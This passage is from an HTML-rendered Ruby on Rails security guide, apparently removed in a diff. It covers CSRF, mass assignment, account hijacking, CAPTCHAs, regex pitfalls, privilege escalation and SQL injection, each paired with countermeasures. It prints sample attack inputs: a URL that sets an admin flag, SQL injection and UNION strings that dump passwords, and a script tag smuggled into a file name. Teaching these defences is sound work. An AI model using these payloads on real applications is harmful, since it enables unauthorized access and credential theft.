-<div class="paragraph"><p>Having one single place in the admin interface or Intranet where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator&#8217;s cookie, injecting an iframe to steal the administrator&#8217;s password or installing malicious software through browser security holes to take over the administrator&#8217;s computer.</p></div>
-<div class="paragraph"><p>Refer to the Injection section for countermeasures against XSS. It is <span style="background-color: #fffcdb;">recommended to use the SafeErb plugin</span> also in an Intranet or administration interface.</p></div>
-<div class="paragraph"><p><strong>CSRF</strong> Cross-Site Reference Forgery (CSRF) is a giant attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.</p></div>
-<div class="paragraph"><p>A real-world example is a <a href="http://www.symantec.com/enterprise/security_response/weblog/2008/01/driveby_pharming_in_the_
wild.html">router reconfiguration by CSRF</a>. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user&#8217;s router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker&#8217;s site. Everyone who accessed the banking site through that router saw the attacker&#8217;s fake web site and had his credentials stolen.</p></div>
-<div class="paragraph"><p>Another example changed Google Adsense&#8217;s e-mail address and password by <a href="http://www.0x000000.com/index.php?i=213&amp;bin=11010101">CSRF</a>. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.
</p></div>
-<div class="paragraph"><p>Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application&#8217;s admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.</p></div>
-<div class="paragraph"><p>For <span style="background-color: #fffcdb;">countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section</span>.</p></div>
-<h3 id="_additional_precautions">5.1. Additional precautions</h3>
-<div class="paragraph"><p>The common admin interface works like this: it&#8217;s located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-It is very important to <span style="background-color: #fffcdb;">think about the worst case</span>: What if someone really got hold of my cookie or user credentials. You could <span style="background-color: #fffcdb;">introduce roles</span> for the admin interface to limit the possibilities of the attacker. Or how about <span style="background-color: #fffcdb;">special login credentials</span> for the admin interface, other than the ones used for the public part of the application. Or a <span style="background-color: #fffcdb;">special password for very serious actions</span>?
-</p>
-</li>
-<li>
-<p>
-Does the admin really have to access the interface from everywhere in the world? Think about <span style="background-color: #fffcdb;">limiting the login to a bunch of source IP addresses</span>. Examine request.remote_ip to find out about the user&#8217;s IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
-</p>
-</li>
-<li>
-<p>
-<span style="background-color: #fffcdb;">Put the admin interface to a special sub-domain</span> such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_mass_assignment">6. Mass assignment</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>-- <em>Without any precautions Model.new(params[:model]) allows attackers to set any database column&#8217;s value.</em></p></div>
-<div class="paragraph"><p>The mass-assignment feature may become a problem, as it allows an attacker to set any model&#8217;s attribute by manipulating the hash passed to a model&#8217;s new() method:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> signup
- params<span style="color: #990000">[:</span>user<span style="color: #990000">]</span> <span style="font-style: italic"><span style="color: #9A1900">#=&gt; {:name =&gt; “ow3ned”, :admin =&gt; true}</span></span>
- <span style="color: #009900">@user</span> <span style="color: #990000">=</span> User<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>user<span style="color: #990000">])</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Mass-assignment saves you much work, because you don&#8217;t have to set each value individually. Simply pass a hash to the new() method, or assign attributes=(attributes) a hash value, to set the model&#8217;s attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>http://www.example.com/user/signup?user[name]=ow3ned&amp;user[admin]=1</tt></pre>
-</div></div>
-<div class="paragraph"><p>This will set the following parameters in the controller:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>params<span style="color: #990000">[:</span>user<span style="color: #990000">]</span> <span style="font-style: italic"><span style="color: #9A1900">#=&gt; {:name =&gt; “ow3ned”, :admin =&gt; true}</span></span></tt></pre></div></div>
-<div class="paragraph"><p>So if you create a new user using mass-assignment, it may be too easy to become an administrator.</p></div>
-<h3 id="_countermeasures">6.1. Countermeasures</h3>
-<div class="paragraph"><p>To avoid this, Rails provides two class methods in your ActiveRecord class to control access to your attributes. The attr_protected method takes a list of attributes that will not be accessible for mass-assignment. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>attr_protected <span style="color: #990000">:</span>admin</tt></pre></div></div>
-<div class="paragraph"><p>A much better way, because it follows the whitelist-principle, is the <span style="background-color: #fffcdb;">attr_accessible method</span>. It is the exact opposite of attr_protected, because <span style="background-color: #fffcdb;">it takes a list of attributes that will be accessible</span>. All other attributes will be protected. This way you won&#8217;t forget to protect attributes when adding new ones in the course of development. Here is an example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>attr_accessible <span style="color: #990000">:</span>name</tt></pre></div></div>
-<div class="paragraph"><p>If you want to set a protected attribute, you will to have to assign it individually:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>params<span style="color: #990000">[:</span>user<span style="color: #990000">]</span> <span style="font-style: italic"><span style="color: #9A1900">#=&gt; {:name =&gt; "ow3ned", :admin =&gt; true}</span></span>
-<span style="color: #009900">@user</span> <span style="color: #990000">=</span> User<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>user<span style="color: #990000">])</span>
-<span style="color: #009900">@user</span><span style="color: #990000">.</span>admin <span style="font-style: italic"><span style="color: #9A1900">#=&gt; false # not mass-assigned</span></span>
-<span style="color: #009900">@user</span><span style="color: #990000">.</span>admin <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-<span style="color: #009900">@user</span><span style="color: #990000">.</span>admin <span style="font-style: italic"><span style="color: #9A1900">#=&gt; true</span></span></tt></pre></div></div>
-</div>
-<h2 id="_user_management">7. User management</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>-- <em>Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure.</em></p></div>
-<div class="paragraph"><p>There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is <span style="background-color: #fffcdb;">restful_authentication</span> which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances.</p></div>
-<div class="paragraph"><p>Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>http://localhost:3006/user/activate
-http://localhost:3006/user/activate?id=</tt></pre>
-</div></div>
-<div class="paragraph"><p>This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>User<span style="color: #990000">.</span>find_by_activation_code<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span></tt></pre></div></div>
-<div class="paragraph"><p>If the parameter was nil, the resulting SQL query will be</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>SELECT * FROM users WHERE (users.`activation_code` IS NULL) LIMIT 1</tt></pre>
-</div></div>
-<div class="paragraph"><p>And thus it found the first user in the database, returned it and logged him in. You can find out more about it in <a href="http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/">my blog post</a>. <span style="background-color: #fffcdb;">It is advisable to update your plug-ins from time to time</span>. Moreover, you can review your application to find more flaws like this.</p></div>
-<h3 id="_brute_forcing_accounts">7.1. Brute-forcing accounts</h3>
-<div class="paragraph"><p>-- <em>Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA.</em></p></div>
-<div class="paragraph"><p>A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don&#8217;t use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user name&#8217;s and a dictionary, an automatic program may find the correct password in a matter of minutes.</p></div>
-<div class="paragraph"><p>Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names.</p></div>
-<div class="paragraph"><p>However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.</p></div>
-<div class="paragraph"><p>In order to mitigate such attacks, <span style="background-color: #fffcdb;">display a generic error message on forgot-password pages, too</span>. Moreover, you can <span style="background-color: #fffcdb;">require to enter a CAPTCHA after a number of failed logins from a certain IP address</span>. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.</p></div>
-<h3 id="_account_hijacking">7.2. Account hijacking</h3>
-<div class="paragraph"><p>-- <em>Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?</em></p></div>
-<h4 id="_passwords">7.2.1. Passwords</h4>
-<div class="paragraph"><p>Think of a situation where an attacker has stolen a user&#8217;s session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim&#8217;s password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, <span style="background-color: #fffcdb;">make change-password forms safe against CSRF</span>, of course. And <span style="background-color: #fffcdb;">require the user to enter the old password when changing it</span>.</p></div>
-<h4 id="_e_mail">7.2.2. E-Mail</h4>
-<div class="paragraph"><p>However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker&#8217;s e-mail address. As a countermeasure <span style="background-color: #fffcdb;">require the user to enter the password when changing the e-mail address, too</span>.</p></div>
-<h4 id="_other">7.2.3. Other</h4>
-<div class="paragraph"><p>Depending on your web application, there may be more ways to hijack the user&#8217;s account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in <a href="http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/">Google Mail</a>. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, <span style="background-color: #fffcdb;">review your application logic and eliminate all XSS and CSRF vulnerabilities</span>.</p></div>
-<h3 id="_captchas">7.3. CAPTCHAs</h3>
-<div class="paragraph"><p>-- <em>A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not to ask a user to proof that he is human, but reveal that a robot is a robot.</em></p></div>
-<div class="paragraph"><p>But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is <a href="http://recaptcha.net/">reCAPTCHA</a> which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. <a href="http://ambethia.com/recaptcha/">ReCAPTCHA</a> is also a Rails plug-in with the same name as the API.</p></div>
-<div class="paragraph"><p>You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
-The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.</p></div>
-<div class="paragraph"><p>Most bots are really dumb, they crawl the web and put their spam into every form&#8217;s field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.</p></div>
-<div class="paragraph"><p>Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-position the fields off of the visible area of the page
-</p>
-</li>
-<li>
-<p>
-make the elements very small or colour them the same as the background of the page
-</p>
-</li>
-<li>
-<p>
-leave the fields displayed, but tell humans to leave them blank
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.</p></div>
-<div class="paragraph"><p>You can find more sophisticated negative CAPTCHAs in Ned Batchelder&#8217;s <a href="http://nedbatchelder.com/text/stopbots.html">blog post</a>:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
-</p>
-</li>
-<li>
-<p>
-Randomize the field names
-</p>
-</li>
-<li>
-<p>
-Include more than one honeypot field of all types, including submission buttons
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So negative CAPTCHAs might not be good to protect login forms.</p></div>
-<h3 id="_logging">7.4. Logging</h3>
-<div class="paragraph"><p>-- <em>Tell Rails not to put passwords in the log files.</em></p></div>
-<div class="paragraph"><p>By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers etcetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can <span style="background-color: #fffcdb;">filter certain request parameters from your log files</span> by the filter_parameter_logging method in a controller. These parameters will be marked [FILTERED] in the log.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>filter_parameter_logging <span style="color: #990000">:</span>password</tt></pre></div></div>
-<h3 id="_good_passwords">7.5. Good passwords</h3>
-<div class="paragraph"><p>-- <em>Do you find it hard to remember all your passwords? Don&#8217;t write them down, but use the initial letters of each word in an easy to remember sentence.</em></p></div>
-<div class="paragraph"><p>Bruce Schneier, a security technologist, <a href="http://www.schneier.com/blog/archives/2006/12/realworld_passw.html">has analysed</a> 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:</p></div>
-<div class="paragraph"><p>password1, abc123, myspace1, password, blink182, qwerty1, <strong>*</strong>*you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1 and monkey.</p></div>
-<div class="paragraph"><p>It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today&#8217;s passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.</p></div>
-<div class="paragraph"><p>A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the <span style="background-color: #fffcdb;">first letters of a sentence that you can easily remember</span>. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.</p></div>
-<h3 id="_regular_expressions">7.6. Regular expressions</h3>
-<div class="paragraph"><p>-- <em>A common pitfall in Ruby&#8217;s regular expressions is to match the string&#8217;s beginning and end by ^ and $, instead of \A and \z.</em></p></div>
-<div class="paragraph"><p>Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> File <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_format_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>with <span style="color: #990000">=&gt;</span> <span style="color: #FF6600">/^[\w\.\-\+]+$/</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added ^ and $ so that file name will contain these characters from the beginning to the end of the string. However, <span style="background-color: #fffcdb;">in Ruby ^ and $ matches the <strong>line</strong> beginning and line end</span>. And thus a file name like this passes the filter without problems:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>file.txt%0A&lt;script&gt;alert('hello')&lt;/script&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n&lt;script&gt;alert(<em>hello</em>)&lt;/script&gt;". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF6600">/\A[\w\.\-\+]+\z/</span>
-<span style="color: #990000">[</span>source<span style="color: #990000">,</span> ruby<span style="color: #990000">]</span></tt></pre></div></div>
-<h3 id="_privilege_escalation">7.7. Privilege escalation</h3>
-<div class="paragraph"><p>-- <em>Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it.</em></p></div>
-<div class="paragraph"><p>The most common parameter that a user might tamper with, is the id parameter, as in <tt>http://www.domain.com/project/1</tt>, whereas 1 is the id. It will be available in params[:id] in the controller. There, you will most likely do something like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@project</span> <span style="color: #990000">=</span> Project<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span></tt></pre></div></div>
-<div class="paragraph"><p>This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, <span style="background-color: #fffcdb;">query the user&#8217;s access rights, too</span>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@project</span> <span style="color: #990000">=</span> <span style="color: #009900">@current_user</span><span style="color: #990000">.</span>projects<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span></tt></pre></div></div>
-<div class="paragraph"><p>Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, <span style="background-color: #fffcdb;">no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated</span>.</p></div>
-<div class="paragraph"><p>Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form&#8217;s hidden fields. <span style="background-color: #fffcdb;">JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values</span>. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.</p></div>
-</div>
-<h2 id="_injection">8. Injection</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>-- <em>Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection.</em></p></div>
-<div class="paragraph"><p>Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.</p></div>
-<h3 id="_whitelists_versus_blacklists">8.1. Whitelists versus Blacklists</h3>
-<div class="paragraph"><p>-- <em>When sanitizing, protecting or verifying something, whitelists over blacklists.</em></p></div>
-<div class="paragraph"><p>A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), <span style="background-color: #fffcdb;">prefer to use whitelist approaches</span>:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Use before_filter :only =&gt; [...] instead of :except =&gt; [...]. This way you don&#8217;t forget to turn it off for newly added actions.
-</p>
-</li>
-<li>
-<p>
-Use attr_accessible instead of attr_protected. See the mass-assignment section for details
-</p>
-</li>
-<li>
-<p>
-Allow &lt;strong&gt; instead of removing &lt;script&gt; against Cross-Site Scripting (XSS). See below for details.
-</p>
-</li>
-<li>
-<p>
-Don&#8217;t try to correct user input by blacklists:
-</p>
-<div class="ulist"><ul>
-<li>
-<p>
-This will make the attack work: "&lt;sc&lt;script&gt;ript&gt;".gsub("&lt;script&gt;", "")
-</p>
-</li>
-<li>
-<p>
-But reject malformed input
-</p>
-</li>
-</ul></div>
-</li>
-</ul></div>
-<div class="paragraph"><p>Whitelists are also a good approach against the human factor of forgetting something in the blacklist.</p></div>
-<h3 id="_sql_injection">8.2. SQL Injection</h3>
-<div class="paragraph"><p>-- <em>Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem.</em></p></div>
-<h4 id="_introduction_2">8.2.1. Introduction</h4>
-<div class="paragraph"><p>SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Project<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"name = '#{params[:name]}'"</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>This could be in a search action and the user may enter a project&#8217;s name that he wants to find. If a malicious user enters <em> OR 1=1</em>, the resulting SQL query will be:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>SELECT * FROM projects WHERE name = '' OR 1 --'</tt></pre>
-</div></div>
-<div class="paragraph"><p>The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.</p></div>
-<h4 id="_bypassing_authorization">8.2.2. Bypassing authorization</h4>
-<div class="paragraph"><p>Usually a web application includes access control. The user enters his login credentials, the web applications tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>User<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">,</span> <span style="color: #FF0000">"login = '#{params[:name]}' AND password = '#{params[:password]}'"</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>If an attacker enters <em> OR '1</em>=<em>1 as the name, and ' OR '2</em>&gt;'1 as the password, the resulting SQL query will be:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'&gt;'1' LIMIT 1</tt></pre>
-</div></div>
-<div class="paragraph"><p>This will simply find the first record in the database, and grants access to this user.</p></div>
-<h4 id="_unauthorized_reading">8.2.3. Unauthorized reading</h4>
-<div class="paragraph"><p>The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let&#8217;s take the example from above:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Project<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"name = '#{params[:name]}'"</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>And now let&#8217;s inject another query using the UNION statement:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --</tt></pre>
-</div></div>
-<div class="paragraph"><p>This will result in the following SQL query:</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>SELECT * FROM projects WHERE (name = '') UNION
- SELECT id,login AS name,password AS description,1,1,1 FROM users --')</tt></pre>
-</div></div>
-<div class="paragraph"><p>The result won&#8217;t be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That&#8217;s why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.</p></div>
-<div class="paragraph"><p>Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails <a href="http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/">to at least 2.1.1</a>.</p></div>
-<h4 id="_countermeasures_2">8.2.4. Countermeasures</h4>
-<div class="paragraph"><p>Ruby on Rails has a built in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <span style="background-color: #fffcdb;">Using Model.find(id) or Model.find_by_some thing(something) automatically applies this countermeasure[,#fffcdb]</span>. But in SQL fragments, especially <span style="background-color: #fffcdb;">in conditions fragments (:conditions =&gt; "..."), the connection.execute() or Model.find_by_sql() methods, it has to be applied manually</span>.</p></div>
-<div class="paragraph"><p>Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Model<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"login = ? AND password = ?"</span><span style="color: #990000">,</span> entered_user_name<span style="color: #990000">,</span> entered_password<span style="color: #990000">])</span></tt></pre></div></div>
-<div class="paragraph"><p>As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Model<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>login <span style="color: #990000">=&gt;</span> entered_user_name<span style="color: #990000">,</span> <span style="color: #990000">:</span>password <span style="color: #990000">=&gt;</span> entered_password<span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>The array or hash form is only available in model instances. You can try <tt>sanitize_sql()</tt> elsewhere. <span style="background-color: #fffcdb;">Make it a habit to think about the security consequences when using an external string in SQL</span>.</p></div>
-<h3 id="_cross_site_scripting_xss">8.3. Cross-Site Scripting (XSS)</h3>
-<div class="paragraph"><p>-- <em>The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off.</em></p></div>
